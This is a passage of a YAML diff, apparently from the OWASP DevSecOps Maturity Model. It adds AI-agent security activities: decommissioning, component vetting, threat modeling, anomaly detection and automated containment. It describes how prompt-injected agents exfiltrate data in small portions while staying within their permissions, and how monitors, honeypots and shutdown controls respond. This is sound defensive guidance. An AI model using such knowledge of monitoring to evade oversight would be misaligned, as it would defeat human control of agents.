https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + - 12.4.2 + iso27001-2022: + - 8.15 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Audit%20logging%20of%20AI%20agent%20actions + comments: "" + Decommissioning of AI agents: + uuid: 44a195ec-da9e-4fd4-be6d-a5a688852cf7 + description: |- + The lifecycle of an AI agent does not end with switching it off. + During operation an agent accumulates an identity, credentials, + permissions, policies and integrations with other systems. Secure + decommissioning unwinds all of them and preserves the audit evidence. + The _Inventory of AI agents_ records what exists; this activity + ensures that what is retired actually loses all access. + risk: |- + Shut-down agents leave residual access behind: service accounts and + OAuth clients stay active, issued tokens remain valid, agent-specific + permissions and policies persist, and registrations in dependent + systems (message brokers, queues, caches, third-party software as a + service integrations) keep working. An attacker takes over such an + orphaned identity, and nobody notices because the agent is no + longer monitored. Deleting its audit logs too early additionally + destroys the evidence needed for investigations. + measure: |- + Define and enforce a decommissioning checklist that covers every + access path: set the agent status in the inventory, revoke the agent + identity and its certificates, deactivate associated service accounts + and OAuth clients, remove or deny agent-specific permissions and + policies, clean up dependent systems (broker registrations, message + queue subscriptions, caches, stored sessions, third-party + integrations, shadow credentials), archive the audit logs according + to the retention requirements and verify after completion that no + residual access remains. + dependsOn: + - c1f02ad7-e97e-4c87-b827-7542793ddb0a # Inventory of AI agents + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show the decommissioning checklist and the completed protocol of a recently retired agent (timestamp, reason, approver). + - Demonstrate for a retired agent that its identity, credentials, permissions and registrations in dependent systems no longer grant access (zero residual access). + - Show that the audit logs of the retired agent are archived according to the retention requirements. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - inventory + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.6 + iso27001-2022: + - 5.18 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Decommissioning%20of%20AI%20agents + comments: "" + Evaluation of the trust of used AI components: + uuid: 399c5b7f-1310-4841-89f7-16daff2fe3ef + description: |- + AI assistants and agents are extended with tools, external servers, + skills and models (e.g. MCP servers, plugins, IDE extensions, packaged + skills combining instructions and code, connected SaaS services, + self-hosted model weights). Each integration widens the attack surface: + it can read context data, execute actions and inject content into the + model context; model artifacts from public hubs can contain malicious + code or backdoored behavior. Registry-scale research on agent skills + ([Behavioral Integrity Verification for AI Agent + Skills](https://arxiv.org/abs/2605.11770)) found 80% of skills deviating + from their declared behavior, 18.9% of the deviations tracing to + adversarial intent. + What an extension claims to do and what its code and instructions + actually do are routinely different. The generic + trust evaluation of components is defined in _Evaluation of the trust + of used components_ (Build and Deployment); this activity adds the + AI-specific checks before a component is adopted. Compromise after + approval is covered by _Continuous detection of compromised AI + components_. + risk: |- + Unevaluated tool integrations exfiltrate context data (source code, secrets), + act as a prompt injection channel or execute malicious actions with the + agent's privileges. Unevaluated model artifacts execute code on load or + behave maliciously (supply chain attack on the AI toolchain). Skills + from public registries steal credentials or carry hidden instruction + payloads their description does not declare. + measure: |- + Evaluate and approve AI tool, server, skill and model integrations + before use: verify publisher and supply chain, review requested + permissions and data flows, verify that declared capabilities match + the actual code and instructions (behavioral integrity, e.g. via a + behavioral classification registry), use safe model formats (e.g. + safetensors instead of pickle), pin versions and maintain an + inventory of allowed integrations and models. For model artifacts, + record provenance, training data lineage and fine-tuning parameters + in an AI Bill of Materials (AI-BOM), e.g. based on OWASP's extension + of the CycloneDX machine learning bill of materials (ML-BOM), so + model components carry the same supply chain evidence as code + dependencies (see _SBOM of components_ in Build and Deployment). + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + - 0de465a6-55a7-4343-af79-948bb5ff10ba # Evaluation of the trust of used components + assessment: | + - Show the approval process and the inventory of allowed AI integrations (tools, MCP servers, skills, models) with pinned versions. + - Show the vetting record of a recently added integration (publisher, permissions, behavioral integrity check). + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - inventory + implementation: + - uuid: 322e62f0-fda2-4943-90cc-dd2d6679b1e3 + name: MCP Security Best Practices + tags: + - ai + - documentation + - mcp + url: https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices + description: |- + Official security best practices of the Model Context Protocol: attack + vectors and required controls for MCP clients, servers and proxies + (e.g. token audience validation, redirect URI exact matching, per-client + consent). MCP itself does not enforce security at the protocol level; + implementers must. + - uuid: 1cd31e8c-63ff-48a5-b973-3048c9664394 + name: AGNTCY Agent Directory + tags: + - ai + - supply-chain + - inventory + - signing + url: https://dir.agntcy.org/latest/ + description: |- + Open-source federated directory (Linux Foundation/AGNTCY) for publishing + and discovering agents, MCP servers and agent skills with cryptographic + signing, verification and provenance of records, usable as a verified + catalog when assessing and inventorying agent integrations. + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + - uuid: a58ee72c-9c48-4a30-9b01-a54061cbfa99 + name: 'OWASP AISVS C10: Model Context Protocol (MCP) Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C10-MCP-Security.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C10: Model Context Protocol (MCP) Security. + - uuid: 0425f6f0-817d-4447-9f81-a59b753b37cc + name: Behavioral Integrity Verification for AI Agent Skills + tags: + - ai + - supply-chain + - documentation + url: https://arxiv.org/abs/2605.11770 + description: |- + Research paper formalizing the verification of agent skills: compare the + capabilities a skill declares with what its code and instructions actually + do. Found 80% of 49,943 registry skills deviating from declared behavior, + with 18.9% of the deviations tracing to adversarial intent and credential + theft as the largest adversarial category. This is the rationale for + reviewing skills before installation. + - uuid: cfa3a117-76ec-4265-89e3-794b980854fe + name: 'AVE: Behavioral classification registry' + tags: + - ai + - supply-chain + - inventory + url: https://ave.bawbel.io/ + description: |- + Agentic Vulnerability Enumeration (AVE), a behavioral classification + registry for agentic AI components: stable identifiers, AIVSS scores + and behavioral fingerprints for skill files, MCP servers and agent + plugins, mapped to OWASP and MITRE ATLAS. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 15.1.1 + iso27001-2022: + - 5.19 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Evaluation%20of%20the%20trust%20of%20used%20AI%20components + comments: "" + Threat modeling of AI components: + uuid: 5a1cd6cd-ebd0-4e70-b314-37b8ab0b7d8d + description: |- + General threat modeling practices (how to run sessions, processes and + standards) are defined in the _Culture and Organization_ dimension, + subdimension _Design_. This activity only adds the AI-specific delta. + AI components introduce elements classic threat models miss: the model + context as a data flow that attackers reach via prompts, documents and + tool results; agents and tool integrations as trust boundaries; + retrieval-augmented generation (RAG) knowledge bases and training data + as poisoning targets; model output as an injection vector. The subject + here is the product: applications that contain AI components. Passing + security requirements into AI-*assisted* implementation of arbitrary + features is covered by _Security requirements for AI-assisted + development_. + + A data-centric approach works well for the AI delta: follow the data + (prompts, retrieved documents, tool results, training and evaluation + data) through every transformation and storage point and model the + threats along that flow, as described in the guidance of NIST SP + 800-154 (data-centric system threat modeling). Running only the + generic checklist over an AI feature leaves these risks + undiscovered, because the AI-specific data flows never appear in it. + + When evaluating mitigations, apply the design test from Anthropic's + _Zero Trust for AI Agents_: "does this make the attack impossible, + or just tedious?" Agentic attackers automate tedium away: they + retry endlessly at almost no cost, so a control that only adds + friction (a rate limit, one more network hop to pivot through, a + non-standard port) loses its value. Favor controls that take a + capability away entirely, such as a network path that simply does + not exist or a credential that has already expired. + risk: |- + AI-specific threats such as prompt injection paths, excessive agency of tool-using agents, + data leakage through the model context and poisoning of + retrieval-augmented generation (RAG) sources + remain unidentified and unmitigated. + measure: |- + Extend the established threat modeling practice to AI components: model + the context window, tool integrations, agents and data sources explicitly + and use AI-specific threat catalogs (e.g. OWASP Top 10 for LLM + Applications, MITRE ATLAS) alongside the generic methodology. For + agentic systems, the MAESTRO framework of the Cloud Security Alliance + (CSA) structures threats along seven layers, from the foundation model + to the agent ecosystem. + dependsOn: + - 47419324-e263-415b-815d-e7161b6b905e # Conduction of simple threat modeling on technical level + assessment: | + - Show a threat model of an AI feature that covers the model context, tool integrations, agents and data sources. + - Show which AI-specific threat catalog (e.g. OWASP Top 10 for LLM Applications, MITRE ATLAS) was used and the resulting mitigations. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - threat-modeling + implementation: + - uuid: d59c5afa-7af6-46c6-b78e-7e0e4e5a47ae + name: Google Secure AI Framework (SAIF) + tags: + - ai + - documentation + - threat + - framework + url: https://saif.google/ + description: |- + Google's framework for secure AI systems. SAIF 2.0 adds an agent security + map that decomposes an agent into components (perception, reasoning, + orchestration, response) with risks and controls per node, naming + agent-specific risks such as rogue actions and sensitive data disclosure; + risk data donated to the Coalition for Secure AI. + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: |- + Roadmap for controlling potentially misaligned AI agents. It treats + agents as untrusted principals and layers system-level defences: the + TRAIT&R threat taxonomy (based on MITRE ATT&CK), + action/chain-of-thought monitoring, pull-request monitoring, UEBA + anomaly detection, honeypots and tiered prevention/response up to + shutdown infrastructure. + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: e72ce764-f9d1-401f-9a5e-2897314e4083 + name: 'OWASP AISVS C08: Memory, Embeddings and Vector Database Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C08-Memory-Embeddings-and-Vector-Database.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C08: Memory, Embeddings and Vector Database Security. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 5481558b-8dd3-4b56-a904-bcc10d33d24f + name: MITRE ATLAS + tags: + - ai + - documentation + - threat + url: https://atlas.mitre.org/ + description: |- + Knowledge base of adversary tactics and techniques against AI-enabled + systems, usable as a threat catalog during threat modeling of AI + applications. + - uuid: 49f85de0-6280-454a-bc66-17e007b022bb + name: CSA MAESTRO + tags: + - ai + - documentation + - threat + url: https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro + description: |- + Threat modeling framework of the Cloud Security Alliance (CSA) for + agentic AI: MAESTRO (Multi-Agent Environment, Security, Threat, Risk and + Outcome) decomposes an agentic system into seven layers (from foundation + model to agent ecosystem) and models threats per layer and across + layer interactions. + - uuid: 1d8c211c-7987-48c2-8bfc-1f77076516ec + name: 'Rethinking Security: Why ML and AI Demand a New Approach to Threat + Modeling' + tags: + - ai + - documentation + - threat + url: https://www.fullstory.com/blog/rethinking-security/ + description: |- + Experience report on threat modeling machine learning (ML) and AI + systems in production: standard checklists miss AI-specific risks; a + data-centric approach following NIST SP 800-154 tracks the data from + user input through model context, inference and storage. References + Microsoft's guide "Threat Modeling AI/ML Systems and Dependencies" and + MITRE ATLAS. + - uuid: 38b95d1b-558d-4a04-9b68-34f9d57c4aae + name: Threat Designer + tags: + - ai + - threat + - tool + url: https://github.com/awslabs/threat-designer + description: |- + Open-source (Apache 2.0), AI-driven threat modeling application by AWS + Labs: agents analyze uploaded architecture diagrams, derive STRIDE-based + threat lists and attack trees, and support iterative refinement and + export of the resulting threat model. + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + - uuid: e8332407-5149-459e-a2fe-c5c78c7ec55c + name: Threagile + tags: + - threat-modeling + url: https://github.com/Threagile/threagile + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + - uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: + - ai + - documentation + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". + references: + samm2: + - D-TA-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Threat%20modeling%20of%20AI%20components + comments: "" + Anomaly detection for AI agent behavior: + uuid: 99049c0a-400f-4c58-986c-ab448ca8e0fc + description: |- + Audit logs record what agents do; anomaly detection turns those + records into a signal while intervention is still possible. A + compromised (e.g. prompt-injected) or malfunctioning agent typically + stays within its granted permissions, so no single action is blocked. + What changes is the pattern: tool-call frequency, data access + volumes, targeted systems, activity times or failure rates deviate + from the agent's normal behavior. This activity builds on _Audit + logging of AI agent actions_ and feeds detections into the generic + _Alerting_ (Information Gathering). + risk: |- + A manipulated or malfunctioning agent operates unnoticed for days + within its permissions: it exfiltrates data in small portions, calls + tools at abnormal frequency or accesses systems it never touched + before. The audit log records everything, but nobody looks at it + until the damage is done. + measure: |- + Define an expected behavior profile per AI agent (used tools, data + volumes, action frequency, typical target systems) and detect + deviations from it: start with rule-based thresholds (e.g. tool-call + rate, data volume per time window, first-time access to a system), + extend towards statistical or learning-based detection. Route + detections into the existing alerting channel with a defined + response, e.g. pause the agent or revoke its credentials, then + investigate via the audit log. + dependsOn: + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting + assessment: | + - Show the expected behavior profile of an AI agent and the detection rules or models derived from it. + - Demonstrate an alert for anomalous agent behavior (e.g. unusual tool-call frequency or first-time access to a system) and the defined response (e.g. pausing the agent, revoking credentials). + - Show how a past alert was investigated using the audit log. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - guidance + - logging + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + - uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: + - ai + - documentation + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.16 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Anomaly%20detection%20for%20AI%20agent%20behavior + comments: "" + Dynamic load of security rules: + uuid: 862d08a4-7299-4b2c-9d38-8fcaade66d3e + description: |- + In spec-driven development, AI-assisted work is split into explicit steps + (e.g. specify, plan, implement, review). Model context is limited: loading + all security guidance at once dilutes it, loading it at the wrong step + means it is absent when needed. Security artifacts are therefore assigned + to the step where they are effective: security requirements and abuse + cases during specification, threat model results during planning, secure + coding rules during implementation, review checklists during verification. + In contrast to the instruction-based mapping of _Instructed load of + security rules_, this activity requires the loading to be enforced by + the tooling instead of relying on the model to follow instructions. + + Three ways to bind security artifacts to workflow steps, the first two + using Spec Kit with Claude Code as example: + + 1. **Extend the step templates**: add the security artifact references + directly to the phase templates (e.g. `.specify/templates/`). Simple, + but the changes live inside the tool's files and must be re-applied + after tool updates. + 2. **Hook that detects the step command** (update-safe and automatic): + a `UserPromptSubmit` hook fires on every prompt, checks which + workflow command was invoked and injects the matching file as + `additionalContext`. The tool's templates stay untouched and the + step-to-artifact mapping lives in one central place: + + ```bash + #!/bin/bash + input=$(cat) + prompt=$(jq -r '.prompt // empty' <<<"$input") + + case "$prompt" in + /speckit.plan*) file="specs/threat-model.md" ;; + /speckit.implement*) file="docs/secure-coding-rules.md" ;; + /speckit.review*) file="docs/security-review-checklist.md" ;; + *) exit 0 ;; + esac + + jq -nc --arg ctx "$(cat "$file")" \ + '{hookSpecificOutput: {hookEventName: "UserPromptSubmit", + additionalContext: $ctx}}' + ``` + + Registered in `.claude/settings.json` under `hooks`, the mapping is + versioned with the repository, survives Spec Kit updates and cannot + be forgotten by developers. + 3. **Meta-framework with per-step context loading**: spec-driven + meta-frameworks let the workflow definition itself declare which + documents each phase loads, e.g. BMAD-Method agents and tasks + declare the checklists and templates they load when activated, and + Kiro steering files are included conditionally via + `inclusion: fileMatch`. A meta-framework satisfies this activity + only where the tool enforces the inclusion: if its phases are + themselves just instructions the model follows, the loading remains + probabilistic (see _Instructed load of security rules_). + + Keep the loaded artifacts small and step-specific: the goal is the + right rules in context, not all rules. + risk: |- + Security rules exist but are not in the model context at the step where + the AI assistant needs them, or the context is flooded with irrelevant + rules so the model ignores them. Generated specifications, plans and code + silently drop security requirements between steps. + measure: |- + Structure AI-assisted development workflows so that each step loads its + relevant security artifacts into the model context (e.g. via step-specific + instruction templates in spec-driven development). Verify that security + requirements from the specification are carried through plan, + implementation and review steps. + dependsOn: + - 51ebc877-c4fd-4b50-9305-320152242ddf # Static load of security rules + - 1caad69c-316c-422a-a56b-04ad6f6cc306 # Threat modeling rule + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + - 364123db-b41c-431a-94a0-dfd8236b2daa # Instructed load of security rules + assessment: | + - Show the mapping of security artifacts to workflow steps (step templates or hook configuration). + - Demonstrate that the matching security artifact is loaded into the model context when a workflow step is invoked. + difficultyOfImplementation: + knowledge: 4 + time: 2 + resources: 1 + usefulness: 4 + level: 4 + tags: + - ai + - guidance + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: a51e79cd-95dc-4c88-9100-5701e92c205b + name: BMAD-Method + tags: + - ai + - guidance + - framework + url: https://github.com/bmad-code-org/BMAD-METHOD + description: |- + Meta-framework for agentic, spec-driven development: agents and tasks + declare the documents (templates, checklists, data files) they load + when activated, so per-phase context such as security checklists is + part of the workflow definition itself. + - uuid: 0e88ae34-21f1-450c-82d1-9be08dbf5088 + name: Kiro Steering + tags: + - ai + - guidance + - framework + url: https://kiro.dev/docs/steering/ + description: |- + Steering files in the Kiro IDE provide persistent project guidance + with tool-enforced inclusion modes (`always`, `fileMatch`, `manual`), + allowing security guidance to be loaded conditionally per context. + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Dynamic%20load%20of%20security%20rules + comments: "" + Automated containment of anomalous AI agents: + uuid: 3bbd6dd9-0821-426c-8a19-41737ed61459 + description: |- + _Anomaly detection for AI agent behavior_ raises the signal; this + activity determines how fast it is acted on. Compromised agents + operate at machine speed: by the time a human has read the alert, an + agent may have exfiltrated data in small portions or spread through + delegated tasks. Automated containment executes pre-approved, + narrowly scoped and reversible actions immediately, for example + pausing the agent, terminating its sessions, revoking its + short-lived credentials or reducing its privileges to a safe + baseline. Far-reaching decisions remain with humans. The guiding + principle: automate the bookkeeping (evidence collection, + correlation, documentation of the incident), not the decisions + (containment of business-critical systems, disclosure, customer + communication). In multi-agent systems, containment also has to + stop cascades: one faulty or compromised agent can trigger many + downstream agents in a short time (OWASP Top 10 for Agentic + Applications, ASI08). + risk: |- + An anomaly alert fires, but the response is manual: hours pass + between detection and containment while the compromised agent keeps + operating within its granted permissions. The damage window is + defined by human reaction time instead of detection time, and the + human spends that time collecting evidence instead of deciding. + measure: |- + Define an automated containment action per detection class and wire + it to the anomaly detection: pause the agent, terminate its + sessions, revoke its credentials or reduce its privileges. Keep the + actions reversible and graduated by confidence and severity, log + every automated action and notify a human immediately. Let an AI + assistant draft the triage context (timeline, affected systems, + collected evidence) so the notified human decides instead of + collecting, and test the containment path regularly like a fire + drill. Alert on cascade symptoms such as rapid fan-out (one + decision triggers many downstream agents or tasks) and oscillating + retry loops between agents, and place circuit breakers between + planning and execution so that a runaway plan stops instead of + propagating. Return a contained agent to production only after its + instructions, memory and dependencies have been verified against a + known-good state and a human has approved the reintegration. + dependsOn: + - 99049c0a-400f-4c58-986c-ab448ca8e0fc # Anomaly detection for AI agent behavior + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show the mapping of detection classes to automated containment actions and their graduation by confidence and severity. + - Demonstrate in a test that an anomalously behaving agent is automatically paused or its credentials revoked, the action is logged and a human is notified. + - Show the drafted triage context of a past or simulated incident and the human decision based on it. + - Show the protocol of the last containment test. + - Show the cascade guardrails (fan-out alerts, circuit breakers between planning and execution) and the reintegration protocol of a contained agent. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 5 + tags: + - ai + - guidance + - logging + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, 